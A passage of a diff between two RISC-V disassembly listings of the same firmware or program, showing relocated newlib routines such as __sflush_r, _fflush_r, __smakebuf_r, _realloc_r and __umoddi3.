-20404d38:	c09c                	sw	a5,0(s1)
-20404d3a:	b7cd                	j	20404d1c <__swhatbuf_r+0x26>
-20404d3c:	04000793          	li	a5,64
-20404d40:	50b6                	lw	ra,108(sp)
-20404d42:	c01c                	sw	a5,0(s0)
-20404d44:	5426                	lw	s0,104(sp)
-20404d46:	5496                	lw	s1,100(sp)
-20404d48:	5906                	lw	s2,96(sp)
-20404d4a:	4501                	li	a0,0
-20404d4c:	6165                	addi	sp,sp,112
-20404d4e:	8082                	ret
+2040383c <__sflush_r>:
+2040383c:	00c5d783          	lhu	a5,12(a1)
+20403840:	1101                	addi	sp,sp,-32
+20403842:	cc22                	sw	s0,24(sp)
+20403844:	ca26                	sw	s1,20(sp)
+20403846:	ce06                	sw	ra,28(sp)
+20403848:	c84a                	sw	s2,16(sp)
+2040384a:	c64e                	sw	s3,12(sp)
+2040384c:	0087f713          	andi	a4,a5,8
+20403850:	84aa                	mv	s1,a0
+20403852:	842e                	mv	s0,a1
+20403854:	e37d                	bnez	a4,2040393a <__sflush_r+0xfe>
+20403856:	41d8                	lw	a4,4(a1)
+20403858:	00e04763          	bgtz	a4,20403866 <__sflush_r+0x2a>
+2040385c:	41b8                	lw	a4,64(a1)
+2040385e:	00e04463          	bgtz	a4,20403866 <__sflush_r+0x2a>
+20403862:	4501                	li	a0,0
+20403864:	a87d                	j	20403922 <__sflush_r+0xe6>
+20403866:	5458                	lw	a4,44(s0)
+20403868:	df6d                	beqz	a4,20403862 <__sflush_r+0x26>
+2040386a:	6685                	lui	a3,0x1
+2040386c:	0004a903          	lw	s2,0(s1)
+20403870:	8ff5                	and	a5,a5,a3
+20403872:	0004a023          	sw	zero,0(s1)
+20403876:	cfad                	beqz	a5,204038f0 <__sflush_r+0xb4>
+20403878:	4868                	lw	a0,84(s0)
+2040387a:	00c45783          	lhu	a5,12(s0)
+2040387e:	8b91                	andi	a5,a5,4
+20403880:	c799                	beqz	a5,2040388e <__sflush_r+0x52>
+20403882:	405c                	lw	a5,4(s0)
+20403884:	8d1d                	sub	a0,a0,a5
+20403886:	585c                	lw	a5,52(s0)
+20403888:	c399                	beqz	a5,2040388e <__sflush_r+0x52>
+2040388a:	403c                	lw	a5,64(s0)
+2040388c:	8d1d                	sub	a0,a0,a5
+2040388e:	545c                	lw	a5,44(s0)
+20403890:	500c                	lw	a1,32(s0)
+20403892:	862a                	mv	a2,a0
+20403894:	4681                	li	a3,0
+20403896:	8526                	mv	a0,s1
+20403898:	9782                	jalr	a5
+2040389a:	57fd                	li	a5,-1
+2040389c:	00c45703          	lhu	a4,12(s0)
+204038a0:	00f51d63          	bne	a0,a5,204038ba <__sflush_r+0x7e>
+204038a4:	4094                	lw	a3,0(s1)
+204038a6:	47f5                	li	a5,29
+204038a8:	08d7e463          	bltu	a5,a3,20403930 <__sflush_r+0xf4>
+204038ac:	204007b7          	lui	a5,0x20400
+204038b0:	0785                	addi	a5,a5,1
+204038b2:	00d7d7b3          	srl	a5,a5,a3
+204038b6:	8b85                	andi	a5,a5,1
+204038b8:	cfa5                	beqz	a5,20403930 <__sflush_r+0xf4>
+204038ba:	481c                	lw	a5,16(s0)
+204038bc:	00042223          	sw	zero,4(s0)
+204038c0:	c01c                	sw	a5,0(s0)
+204038c2:	6785                	lui	a5,0x1
+204038c4:	8f7d                	and	a4,a4,a5
+204038c6:	c719                	beqz	a4,204038d4 <__sflush_r+0x98>
+204038c8:	57fd                	li	a5,-1
+204038ca:	00f51463          	bne	a0,a5,204038d2 <__sflush_r+0x96>
+204038ce:	409c                	lw	a5,0(s1)
+204038d0:	e391                	bnez	a5,204038d4 <__sflush_r+0x98>
+204038d2:	c868                	sw	a0,84(s0)
+204038d4:	584c                	lw	a1,52(s0)
+204038d6:	0124a023          	sw	s2,0(s1)
+204038da:	d5c1                	beqz	a1,20403862 <__sflush_r+0x26>
+204038dc:	04440793          	addi	a5,s0,68
+204038e0:	00f58563          	beq	a1,a5,204038ea <__sflush_r+0xae>
+204038e4:	8526                	mv	a0,s1
+204038e6:	b9ffe0ef          	jal	ra,20402484 <_free_r>
+204038ea:	02042a23          	sw	zero,52(s0)
+204038ee:	bf95                	j	20403862 <__sflush_r+0x26>
+204038f0:	500c                	lw	a1,32(s0)
+204038f2:	4685                	li	a3,1
+204038f4:	4601                	li	a2,0
+204038f6:	8526                	mv	a0,s1
+204038f8:	9702                	jalr	a4
+204038fa:	57fd                	li	a5,-1
+204038fc:	f6f51fe3          	bne	a0,a5,2040387a <__sflush_r+0x3e>
+20403900:	409c                	lw	a5,0(s1)
+20403902:	dfa5                	beqz	a5,2040387a <__sflush_r+0x3e>
+20403904:	4775                	li	a4,29
+20403906:	00e78563          	beq	a5,a4,20403910 <__sflush_r+0xd4>
+2040390a:	4759                	li	a4,22
+2040390c:	00e79563          	bne	a5,a4,20403916 <__sflush_r+0xda>
+20403910:	0124a023          	sw	s2,0(s1)
+20403914:	b7b9                	j	20403862 <__sflush_r+0x26>
+20403916:	00c45783          	lhu	a5,12(s0)
+2040391a:	0407e793          	ori	a5,a5,64
+2040391e:	00f41623          	sh	a5,12(s0)
+20403922:	40f2                	lw	ra,28(sp)
+20403924:	4462                	lw	s0,24(sp)
+20403926:	44d2                	lw	s1,20(sp)
+20403928:	4942                	lw	s2,16(sp)
+2040392a:	49b2                	lw	s3,12(sp)
+2040392c:	6105                	addi	sp,sp,32
+2040392e:	8082                	ret
+20403930:	04076713          	ori	a4,a4,64
+20403934:	00e41623          	sh	a4,12(s0)
+20403938:	b7ed                	j	20403922 <__sflush_r+0xe6>
+2040393a:	0105a983          	lw	s3,16(a1)
+2040393e:	f20982e3          	beqz	s3,20403862 <__sflush_r+0x26>
+20403942:	0005a903          	lw	s2,0(a1)
+20403946:	8b8d                	andi	a5,a5,3
+20403948:	0135a023          	sw	s3,0(a1)
+2040394c:	41390933          	sub	s2,s2,s3
+20403950:	4701                	li	a4,0
+20403952:	e391                	bnez	a5,20403956 <__sflush_r+0x11a>
+20403954:	49d8                	lw	a4,20(a1)
+20403956:	c418                	sw	a4,8(s0)
+20403958:	f12055e3          	blez	s2,20403862 <__sflush_r+0x26>
+2040395c:	541c                	lw	a5,40(s0)
+2040395e:	500c                	lw	a1,32(s0)
+20403960:	86ca                	mv	a3,s2
+20403962:	864e                	mv	a2,s3
+20403964:	8526                	mv	a0,s1
+20403966:	9782                	jalr	a5
+20403968:	00a04a63          	bgtz	a0,2040397c <__sflush_r+0x140>
+2040396c:	00c45783          	lhu	a5,12(s0)
+20403970:	557d                	li	a0,-1
+20403972:	0407e793          	ori	a5,a5,64
+20403976:	00f41623          	sh	a5,12(s0)
+2040397a:	b765                	j	20403922 <__sflush_r+0xe6>
+2040397c:	99aa                	add	s3,s3,a0
+2040397e:	40a90933          	sub	s2,s2,a0
+20403982:	bfd9                	j	20403958 <__sflush_r+0x11c>
 
-20404d50 <__smakebuf_r>:
-20404d50:	00c5d783          	lhu	a5,12(a1)
-20404d54:	1101                	addi	sp,sp,-32
-20404d56:	cc22                	sw	s0,24(sp)
-20404d58:	ce06                	sw	ra,28(sp)
-20404d5a:	ca26                	sw	s1,20(sp)
-20404d5c:	c84a                	sw	s2,16(sp)
-20404d5e:	8b89                	andi	a5,a5,2
-20404d60:	842e                	mv	s0,a1
-20404d62:	cf89                	beqz	a5,20404d7c <__smakebuf_r+0x2c>
-20404d64:	04740793          	addi	a5,s0,71
-20404d68:	c01c                	sw	a5,0(s0)
-20404d6a:	c81c                	sw	a5,16(s0)
-20404d6c:	4785                	li	a5,1
-20404d6e:	c85c                	sw	a5,20(s0)
-20404d70:	40f2                	lw	ra,28(sp)
-20404d72:	4462                	lw	s0,24(sp)
-20404d74:	44d2                	lw	s1,20(sp)
-20404d76:	4942                	lw	s2,16(sp)
-20404d78:	6105                	addi	sp,sp,32
-20404d7a:	8082                	ret
-20404d7c:	0074                	addi	a3,sp,12
-20404d7e:	0030                	addi	a2,sp,8
-20404d80:	892a                	mv	s2,a0
-20404d82:	3f95                	jal	20404cf6 <__swhatbuf_r>
-20404d84:	45a2                	lw	a1,8(sp)
-20404d86:	84aa                	mv	s1,a0
-20404d88:	854a                	mv	a0,s2
-20404d8a:	f8ffe0ef          	jal	ra,20403d18 <_malloc_r>
-20404d8e:	ed01                	bnez	a0,20404da6 <__smakebuf_r+0x56>
-20404d90:	00c41783          	lh	a5,12(s0)
-20404d94:	2007f713          	andi	a4,a5,512
-20404d98:	ff61                	bnez	a4,20404d70 <__smakebuf_r+0x20>
-20404d9a:	9bf1                	andi	a5,a5,-4
-20404d9c:	0027e793          	ori	a5,a5,2
-20404da0:	00f41623          	sh	a5,12(s0)
-20404da4:	b7c1                	j	20404d64 <__smakebuf_r+0x14>
-20404da6:	fffff797          	auipc	a5,0xfffff
-20404daa:	d0678793          	addi	a5,a5,-762 # 20403aac <_cleanup_r>
-20404dae:	02f92423          	sw	a5,40(s2)
-20404db2:	00c45783          	lhu	a5,12(s0)
-20404db6:	c008                	sw	a0,0(s0)
-20404db8:	c808                	sw	a0,16(s0)
-20404dba:	0807e793          	ori	a5,a5,128
-20404dbe:	00f41623          	sh	a5,12(s0)
-20404dc2:	47a2                	lw	a5,8(sp)
-20404dc4:	c85c                	sw	a5,20(s0)
-20404dc6:	47b2                	lw	a5,12(sp)
-20404dc8:	cf89                	beqz	a5,20404de2 <__smakebuf_r+0x92>
-20404dca:	00e41583          	lh	a1,14(s0)
-20404dce:	854a                	mv	a0,s2
-20404dd0:	20e9                	jal	20404e9a <_isatty_r>
-20404dd2:	c901                	beqz	a0,20404de2 <__smakebuf_r+0x92>
-20404dd4:	00c45783          	lhu	a5,12(s0)
-20404dd8:	9bf1                	andi	a5,a5,-4
-20404dda:	0017e793          	ori	a5,a5,1
-20404dde:	00f41623          	sh	a5,12(s0)
-20404de2:	00c45503          	lhu	a0,12(s0)
-20404de6:	8cc9                	or	s1,s1,a0
-20404de8:	00941623          	sh	s1,12(s0)
-20404dec:	b751                	j	20404d70 <__smakebuf_r+0x20>
+20403984 <_fflush_r>:
+20403984:	499c                	lw	a5,16(a1)
+20403986:	c3a5                	beqz	a5,204039e6 <_fflush_r+0x62>
+20403988:	1101                	addi	sp,sp,-32
+2040398a:	cc22                	sw	s0,24(sp)
+2040398c:	ce06                	sw	ra,28(sp)
+2040398e:	842a                	mv	s0,a0
+20403990:	c519                	beqz	a0,2040399e <_fflush_r+0x1a>
+20403992:	4d1c                	lw	a5,24(a0)
+20403994:	e789                	bnez	a5,2040399e <_fflush_r+0x1a>
+20403996:	c62e                	sw	a1,12(sp)
+20403998:	828ff0ef          	jal	ra,204029c0 <__sinit>
+2040399c:	45b2                	lw	a1,12(sp)
+2040399e:	00001797          	auipc	a5,0x1
+204039a2:	aae78793          	addi	a5,a5,-1362 # 2040444c <__sf_fake_stdin>
+204039a6:	00f59b63          	bne	a1,a5,204039bc <_fflush_r+0x38>
+204039aa:	404c                	lw	a1,4(s0)
+204039ac:	00c59783          	lh	a5,12(a1)
+204039b0:	c795                	beqz	a5,204039dc <_fflush_r+0x58>
+204039b2:	8522                	mv	a0,s0
+204039b4:	4462                	lw	s0,24(sp)
+204039b6:	40f2                	lw	ra,28(sp)
+204039b8:	6105                	addi	sp,sp,32
+204039ba:	b549                	j	2040383c <__sflush_r>
+204039bc:	00001797          	auipc	a5,0x1
+204039c0:	ab078793          	addi	a5,a5,-1360 # 2040446c <__sf_fake_stdout>
+204039c4:	00f59463          	bne	a1,a5,204039cc <_fflush_r+0x48>
+204039c8:	440c                	lw	a1,8(s0)
+204039ca:	b7cd                	j	204039ac <_fflush_r+0x28>
+204039cc:	00001797          	auipc	a5,0x1
+204039d0:	a6078793          	addi	a5,a5,-1440 # 2040442c <__sf_fake_stderr>
+204039d4:	fcf59ce3          	bne	a1,a5,204039ac <_fflush_r+0x28>
+204039d8:	444c                	lw	a1,12(s0)
+204039da:	bfc9                	j	204039ac <_fflush_r+0x28>
+204039dc:	40f2                	lw	ra,28(sp)
+204039de:	4462                	lw	s0,24(sp)
+204039e0:	4501                	li	a0,0
+204039e2:	6105                	addi	sp,sp,32
+204039e4:	8082                	ret
+204039e6:	4501                	li	a0,0
+204039e8:	8082                	ret
 
-20404dee <memchr>:
-20404dee:	0ff5f593          	andi	a1,a1,255
-20404df2:	962a                	add	a2,a2,a0
-20404df4:	00c51463          	bne	a0,a2,20404dfc <memchr+0xe>
-20404df8:	4501                	li	a0,0
-20404dfa:	8082                	ret
-20404dfc:	00054783          	lbu	a5,0(a0)
-20404e00:	feb78de3          	beq	a5,a1,20404dfa <memchr+0xc>
-20404e04:	0505                	addi	a0,a0,1
-20404e06:	b7fd                	j	20404df4 <memchr+0x6>
+204039ea <_lseek_r>:
+204039ea:	1141                	addi	sp,sp,-16
+204039ec:	c422                	sw	s0,8(sp)
+204039ee:	842a                	mv	s0,a0
+204039f0:	852e                	mv	a0,a1
+204039f2:	85b2                	mv	a1,a2
+204039f4:	8636                	mv	a2,a3
+204039f6:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+204039fa:	c606                	sw	ra,12(sp)
+204039fc:	8d1fe0ef          	jal	ra,204022cc <_lseek>
+20403a00:	57fd                	li	a5,-1
+20403a02:	00f51663          	bne	a0,a5,20403a0e <_lseek_r+0x24>
+20403a06:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403a0a:	c391                	beqz	a5,20403a0e <_lseek_r+0x24>
+20403a0c:	c01c                	sw	a5,0(s0)
+20403a0e:	40b2                	lw	ra,12(sp)
+20403a10:	4422                	lw	s0,8(sp)
+20403a12:	0141                	addi	sp,sp,16
+20403a14:	8082                	ret
 
-20404e08 <__malloc_lock>:
-20404e08:	8082                	ret
+20403a16 <__swhatbuf_r>:
+20403a16:	7159                	addi	sp,sp,-112
+20403a18:	d0ca                	sw	s2,96(sp)
+20403a1a:	892e                	mv	s2,a1
+20403a1c:	00e59583          	lh	a1,14(a1)
+20403a20:	d4a2                	sw	s0,104(sp)
+20403a22:	d2a6                	sw	s1,100(sp)
+20403a24:	d686                	sw	ra,108(sp)
+20403a26:	8432                	mv	s0,a2
+20403a28:	84b6                	mv	s1,a3
+20403a2a:	0005dc63          	bgez	a1,20403a42 <__swhatbuf_r+0x2c>
+20403a2e:	00c91783          	lh	a5,12(s2)
+20403a32:	0004a023          	sw	zero,0(s1)
+20403a36:	0807f793          	andi	a5,a5,128
+20403a3a:	e38d                	bnez	a5,20403a5c <__swhatbuf_r+0x46>
+20403a3c:	40000793          	li	a5,1024
+20403a40:	a005                	j	20403a60 <__swhatbuf_r+0x4a>
+20403a42:	0030                	addi	a2,sp,8
+20403a44:	22a1                	jal	20403b8c <_fstat_r>
+20403a46:	fe0544e3          	bltz	a0,20403a2e <__swhatbuf_r+0x18>
+20403a4a:	4732                	lw	a4,12(sp)
+20403a4c:	67bd                	lui	a5,0xf
+20403a4e:	8ff9                	and	a5,a5,a4
+20403a50:	7779                	lui	a4,0xffffe
+20403a52:	97ba                	add	a5,a5,a4
+20403a54:	0017b793          	seqz	a5,a5
+20403a58:	c09c                	sw	a5,0(s1)
+20403a5a:	b7cd                	j	20403a3c <__swhatbuf_r+0x26>
+20403a5c:	04000793          	li	a5,64
+20403a60:	50b6                	lw	ra,108(sp)
+20403a62:	c01c                	sw	a5,0(s0)
+20403a64:	5426                	lw	s0,104(sp)
+20403a66:	5496                	lw	s1,100(sp)
+20403a68:	5906                	lw	s2,96(sp)
+20403a6a:	4501                	li	a0,0
+20403a6c:	6165                	addi	sp,sp,112
+20403a6e:	8082                	ret
 
-20404e0a <__malloc_unlock>:
-20404e0a:	8082                	ret
+20403a70 <__smakebuf_r>:
+20403a70:	00c5d783          	lhu	a5,12(a1)
+20403a74:	1101                	addi	sp,sp,-32
+20403a76:	cc22                	sw	s0,24(sp)
+20403a78:	ce06                	sw	ra,28(sp)
+20403a7a:	ca26                	sw	s1,20(sp)
+20403a7c:	c84a                	sw	s2,16(sp)
+20403a7e:	8b89                	andi	a5,a5,2
+20403a80:	842e                	mv	s0,a1
+20403a82:	cf89                	beqz	a5,20403a9c <__smakebuf_r+0x2c>
+20403a84:	04740793          	addi	a5,s0,71
+20403a88:	c01c                	sw	a5,0(s0)
+20403a8a:	c81c                	sw	a5,16(s0)
+20403a8c:	4785                	li	a5,1
+20403a8e:	c85c                	sw	a5,20(s0)
+20403a90:	40f2                	lw	ra,28(sp)
+20403a92:	4462                	lw	s0,24(sp)
+20403a94:	44d2                	lw	s1,20(sp)
+20403a96:	4942                	lw	s2,16(sp)
+20403a98:	6105                	addi	sp,sp,32
+20403a9a:	8082                	ret
+20403a9c:	0074                	addi	a3,sp,12
+20403a9e:	0030                	addi	a2,sp,8
+20403aa0:	892a                	mv	s2,a0
+20403aa2:	3f95                	jal	20403a16 <__swhatbuf_r>
+20403aa4:	45a2                	lw	a1,8(sp)
+20403aa6:	84aa                	mv	s1,a0
+20403aa8:	854a                	mv	a0,s2
+20403aaa:	a79fe0ef          	jal	ra,20402522 <_malloc_r>
+20403aae:	ed01                	bnez	a0,20403ac6 <__smakebuf_r+0x56>
+20403ab0:	00c41783          	lh	a5,12(s0)
+20403ab4:	2007f713          	andi	a4,a5,512
+20403ab8:	ff61                	bnez	a4,20403a90 <__smakebuf_r+0x20>
+20403aba:	9bf1                	andi	a5,a5,-4
+20403abc:	0027e793          	ori	a5,a5,2
+20403ac0:	00f41623          	sh	a5,12(s0)
+20403ac4:	b7c1                	j	20403a84 <__smakebuf_r+0x14>
+20403ac6:	fffff797          	auipc	a5,0xfffff
+20403aca:	eaa78793          	addi	a5,a5,-342 # 20402970 <_cleanup_r>
+20403ace:	02f92423          	sw	a5,40(s2)
+20403ad2:	00c45783          	lhu	a5,12(s0)
+20403ad6:	c008                	sw	a0,0(s0)
+20403ad8:	c808                	sw	a0,16(s0)
+20403ada:	0807e793          	ori	a5,a5,128
+20403ade:	00f41623          	sh	a5,12(s0)
+20403ae2:	47a2                	lw	a5,8(sp)
+20403ae4:	c85c                	sw	a5,20(s0)
+20403ae6:	47b2                	lw	a5,12(sp)
+20403ae8:	cf89                	beqz	a5,20403b02 <__smakebuf_r+0x92>
+20403aea:	00e41583          	lh	a1,14(s0)
+20403aee:	854a                	mv	a0,s2
+20403af0:	20d9                	jal	20403bb6 <_isatty_r>
+20403af2:	c901                	beqz	a0,20403b02 <__smakebuf_r+0x92>
+20403af4:	00c45783          	lhu	a5,12(s0)
+20403af8:	9bf1                	andi	a5,a5,-4
+20403afa:	0017e793          	ori	a5,a5,1
+20403afe:	00f41623          	sh	a5,12(s0)
+20403b02:	00c45503          	lhu	a0,12(s0)
+20403b06:	8cc9                	or	s1,s1,a0
+20403b08:	00941623          	sh	s1,12(s0)
+20403b0c:	b751                	j	20403a90 <__smakebuf_r+0x20>
 
-20404e0c <_realloc_r>:
-20404e0c:	1101                	addi	sp,sp,-32
-20404e0e:	cc22                	sw	s0,24(sp)
-20404e10:	ce06                	sw	ra,28(sp)
-20404e12:	ca26                	sw	s1,20(sp)
-20404e14:	c84a                	sw	s2,16(sp)
-20404e16:	c64e                	sw	s3,12(sp)
-20404e18:	8432                	mv	s0,a2
-20404e1a:	e991                	bnez	a1,20404e2e <_realloc_r+0x22>
-20404e1c:	4462                	lw	s0,24(sp)
-20404e1e:	40f2                	lw	ra,28(sp)
-20404e20:	44d2                	lw	s1,20(sp)
-20404e22:	4942                	lw	s2,16(sp)
-20404e24:	49b2                	lw	s3,12(sp)
-20404e26:	85b2                	mv	a1,a2
-20404e28:	6105                	addi	sp,sp,32
-20404e2a:	eeffe06f          	j	20403d18 <_malloc_r>
-20404e2e:	ee01                	bnez	a2,20404e46 <_realloc_r+0x3a>
-20404e30:	e47fe0ef          	jal	ra,20403c76 <_free_r>
-20404e34:	4481                	li	s1,0
-20404e36:	40f2                	lw	ra,28(sp)
-20404e38:	4462                	lw	s0,24(sp)
-20404e3a:	4942                	lw	s2,16(sp)
-20404e3c:	49b2                	lw	s3,12(sp)
-20404e3e:	8526                	mv	a0,s1
-20404e40:	44d2                	lw	s1,20(sp)
-20404e42:	6105                	addi	sp,sp,32
-20404e44:	8082                	ret
-20404e46:	892e                	mv	s2,a1
-20404e48:	89aa                	mv	s3,a0
-20404e4a:	28a5                	jal	20404ec2 <_malloc_usable_size_r>
-20404e4c:	84ca                	mv	s1,s2
-20404e4e:	fe8574e3          	bgeu	a0,s0,20404e36 <_realloc_r+0x2a>
-20404e52:	85a2                	mv	a1,s0
-20404e54:	854e                	mv	a0,s3
-20404e56:	ec3fe0ef          	jal	ra,20403d18 <_malloc_r>
-20404e5a:	84aa                	mv	s1,a0
-20404e5c:	dd69                	beqz	a0,20404e36 <_realloc_r+0x2a>
-20404e5e:	85ca                	mv	a1,s2
-20404e60:	8622                	mv	a2,s0
-20404e62:	9e6fe0ef          	jal	ra,20403048 <memcpy>
-20404e66:	85ca                	mv	a1,s2
-20404e68:	854e                	mv	a0,s3
-20404e6a:	e0dfe0ef          	jal	ra,20403c76 <_free_r>
-20404e6e:	b7e1                	j	20404e36 <_realloc_r+0x2a>
+20403b0e <memchr>:
+20403b0e:	0ff5f593          	andi	a1,a1,255
+20403b12:	962a                	add	a2,a2,a0
+20403b14:	00c51463          	bne	a0,a2,20403b1c <memchr+0xe>
+20403b18:	4501                	li	a0,0
+20403b1a:	8082                	ret
+20403b1c:	00054783          	lbu	a5,0(a0)
+20403b20:	feb78de3          	beq	a5,a1,20403b1a <memchr+0xc>
+20403b24:	0505                	addi	a0,a0,1
+20403b26:	b7fd                	j	20403b14 <memchr+0x6>
 
-20404e70 <_fstat_r>:
-20404e70:	1141                	addi	sp,sp,-16
-20404e72:	c422                	sw	s0,8(sp)
-20404e74:	842a                	mv	s0,a0
-20404e76:	852e                	mv	a0,a1
-20404e78:	85b2                	mv	a1,a2
-20404e7a:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404e7e:	c606                	sw	ra,12(sp)
-20404e80:	ca1fd0ef          	jal	ra,20402b20 <_fstat>
-20404e84:	57fd                	li	a5,-1
-20404e86:	00f51663          	bne	a0,a5,20404e92 <_fstat_r+0x22>
-20404e8a:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404e8e:	c391                	beqz	a5,20404e92 <_fstat_r+0x22>
-20404e90:	c01c                	sw	a5,0(s0)
-20404e92:	40b2                	lw	ra,12(sp)
-20404e94:	4422                	lw	s0,8(sp)
-20404e96:	0141                	addi	sp,sp,16
-20404e98:	8082                	ret
+20403b28 <_realloc_r>:
+20403b28:	1101                	addi	sp,sp,-32
+20403b2a:	cc22                	sw	s0,24(sp)
+20403b2c:	ce06                	sw	ra,28(sp)
+20403b2e:	ca26                	sw	s1,20(sp)
+20403b30:	c84a                	sw	s2,16(sp)
+20403b32:	c64e                	sw	s3,12(sp)
+20403b34:	8432                	mv	s0,a2
+20403b36:	e991                	bnez	a1,20403b4a <_realloc_r+0x22>
+20403b38:	4462                	lw	s0,24(sp)
+20403b3a:	40f2                	lw	ra,28(sp)
+20403b3c:	44d2                	lw	s1,20(sp)
+20403b3e:	4942                	lw	s2,16(sp)
+20403b40:	49b2                	lw	s3,12(sp)
+20403b42:	85b2                	mv	a1,a2
+20403b44:	6105                	addi	sp,sp,32
+20403b46:	9ddfe06f          	j	20402522 <_malloc_r>
+20403b4a:	ee01                	bnez	a2,20403b62 <_realloc_r+0x3a>
+20403b4c:	939fe0ef          	jal	ra,20402484 <_free_r>
+20403b50:	4481                	li	s1,0
+20403b52:	40f2                	lw	ra,28(sp)
+20403b54:	4462                	lw	s0,24(sp)
+20403b56:	4942                	lw	s2,16(sp)
+20403b58:	49b2                	lw	s3,12(sp)
+20403b5a:	8526                	mv	a0,s1
+20403b5c:	44d2                	lw	s1,20(sp)
+20403b5e:	6105                	addi	sp,sp,32
+20403b60:	8082                	ret
+20403b62:	892e                	mv	s2,a1
+20403b64:	89aa                	mv	s3,a0
+20403b66:	28a5                	jal	20403bde <_malloc_usable_size_r>
+20403b68:	84ca                	mv	s1,s2
+20403b6a:	fe8574e3          	bgeu	a0,s0,20403b52 <_realloc_r+0x2a>
+20403b6e:	85a2                	mv	a1,s0
+20403b70:	854e                	mv	a0,s3
+20403b72:	9b1fe0ef          	jal	ra,20402522 <_malloc_r>
+20403b76:	84aa                	mv	s1,a0
+20403b78:	dd69                	beqz	a0,20403b52 <_realloc_r+0x2a>
+20403b7a:	85ca                	mv	a1,s2
+20403b7c:	8622                	mv	a2,s0
+20403b7e:	8bbfe0ef          	jal	ra,20402438 <memcpy>
+20403b82:	85ca                	mv	a1,s2
+20403b84:	854e                	mv	a0,s3
+20403b86:	8fffe0ef          	jal	ra,20402484 <_free_r>
+20403b8a:	b7e1                	j	20403b52 <_realloc_r+0x2a>
 
-20404e9a <_isatty_r>:
-20404e9a:	1141                	addi	sp,sp,-16
-20404e9c:	c422                	sw	s0,8(sp)
-20404e9e:	842a                	mv	s0,a0
-20404ea0:	852e                	mv	a0,a1
-20404ea2:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404ea6:	c606                	sw	ra,12(sp)
-20404ea8:	ca3fd0ef          	jal	ra,20402b4a <_isatty>
-20404eac:	57fd                	li	a5,-1
-20404eae:	00f51663          	bne	a0,a5,20404eba <_isatty_r+0x20>
-20404eb2:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404eb6:	c391                	beqz	a5,20404eba <_isatty_r+0x20>
-20404eb8:	c01c                	sw	a5,0(s0)
-20404eba:	40b2                	lw	ra,12(sp)
-20404ebc:	4422                	lw	s0,8(sp)
-20404ebe:	0141                	addi	sp,sp,16
-20404ec0:	8082                	ret
+20403b8c <_fstat_r>:
+20403b8c:	1141                	addi	sp,sp,-16
+20403b8e:	c422                	sw	s0,8(sp)
+20403b90:	842a                	mv	s0,a0
+20403b92:	852e                	mv	a0,a1
+20403b94:	85b2                	mv	a1,a2
+20403b96:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403b9a:	c606                	sw	ra,12(sp)
+20403b9c:	f00fe0ef          	jal	ra,2040229c <_fstat>
+20403ba0:	57fd                	li	a5,-1
+20403ba2:	00f51663          	bne	a0,a5,20403bae <_fstat_r+0x22>
+20403ba6:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403baa:	c391                	beqz	a5,20403bae <_fstat_r+0x22>
+20403bac:	c01c                	sw	a5,0(s0)
+20403bae:	40b2                	lw	ra,12(sp)
+20403bb0:	4422                	lw	s0,8(sp)
+20403bb2:	0141                	addi	sp,sp,16
+20403bb4:	8082                	ret
 
-20404ec2 <_malloc_usable_size_r>:
-20404ec2:	ffc5a783          	lw	a5,-4(a1)
-20404ec6:	ffc78513          	addi	a0,a5,-4
-20404eca:	0007d563          	bgez	a5,20404ed4 <_malloc_usable_size_r+0x12>
-20404ece:	95aa                	add	a1,a1,a0
-20404ed0:	419c                	lw	a5,0(a1)
-20404ed2:	953e                	add	a0,a0,a5
-20404ed4:	8082                	ret
+20403bb6 <_isatty_r>:
+20403bb6:	1141                	addi	sp,sp,-16
+20403bb8:	c422                	sw	s0,8(sp)
+20403bba:	842a                	mv	s0,a0
+20403bbc:	852e                	mv	a0,a1
+20403bbe:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403bc2:	c606                	sw	ra,12(sp)
+20403bc4:	f02fe0ef          	jal	ra,204022c6 <_isatty>
+20403bc8:	57fd                	li	a5,-1
+20403bca:	00f51663          	bne	a0,a5,20403bd6 <_isatty_r+0x20>
+20403bce:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403bd2:	c391                	beqz	a5,20403bd6 <_isatty_r+0x20>
+20403bd4:	c01c                	sw	a5,0(s0)
+20403bd6:	40b2                	lw	ra,12(sp)
+20403bd8:	4422                	lw	s0,8(sp)
+20403bda:	0141                	addi	sp,sp,16
+20403bdc:	8082                	ret
 
-20404ed6 <__umoddi3>:
-20404ed6:	832a                	mv	t1,a0
-20404ed8:	8832                	mv	a6,a2
-20404eda:	87b6                	mv	a5,a3
-20404edc:	872e                	mv	a4,a1
-20404ede:	1c069563          	bnez	a3,204050a8 <__umoddi3+0x1d2>
-20404ee2:	00001697          	auipc	a3,0x1
-20404ee6:	e0668693          	addi	a3,a3,-506 # 20405ce8 <__clz_tab>
-20404eea:	0ac5f663          	bgeu	a1,a2,20404f96 <__umoddi3+0xc0>
-20404eee:	68c1                	lui	a7,0x10
-20404ef0:	09167c63          	bgeu	a2,a7,20404f88 <__umoddi3+0xb2>
-20404ef4:	0ff00893          	li	a7,255
-20404ef8:	00c8f363          	bgeu	a7,a2,20404efe <__umoddi3+0x28>
-20404efc:	47a1                	li	a5,8
-20404efe:	00f658b3          	srl	a7,a2,a5
-20404f02:	96c6                	add	a3,a3,a7
-20404f04:	0006c683          	lbu	a3,0(a3)
-20404f08:	97b6                	add	a5,a5,a3
-20404f0a:	02000693          	li	a3,32
-20404f0e:	40f688b3          	sub	a7,a3,a5
-20404f12:	00f68c63          	beq	a3,a5,20404f2a <__umoddi3+0x54>
-20404f16:	011595b3          	sll	a1,a1,a7
-20404f1a:	00f357b3          	srl	a5,t1,a5
-20404f1e:	01161833          	sll	a6,a2,a7
-20404f22:	00b7e733          	or	a4,a5,a1
-20404f26:	01131533          	sll	a0,t1,a7
-20404f2a:	01085593          	srli	a1,a6,0x10
-20404f2e:	02b777b3          	remu	a5,a4,a1
-20404f32:	01081613          	slli	a2,a6,0x10
-20404f36:	8241                	srli	a2,a2,0x10
-20404f38:	01055693          	srli	a3,a0,0x10
-20404f3c:	02b75733          	divu	a4,a4,a1
-20404f40:	07c2                	slli	a5,a5,0x10
-20404f42:	8edd                	or	a3,a3,a5
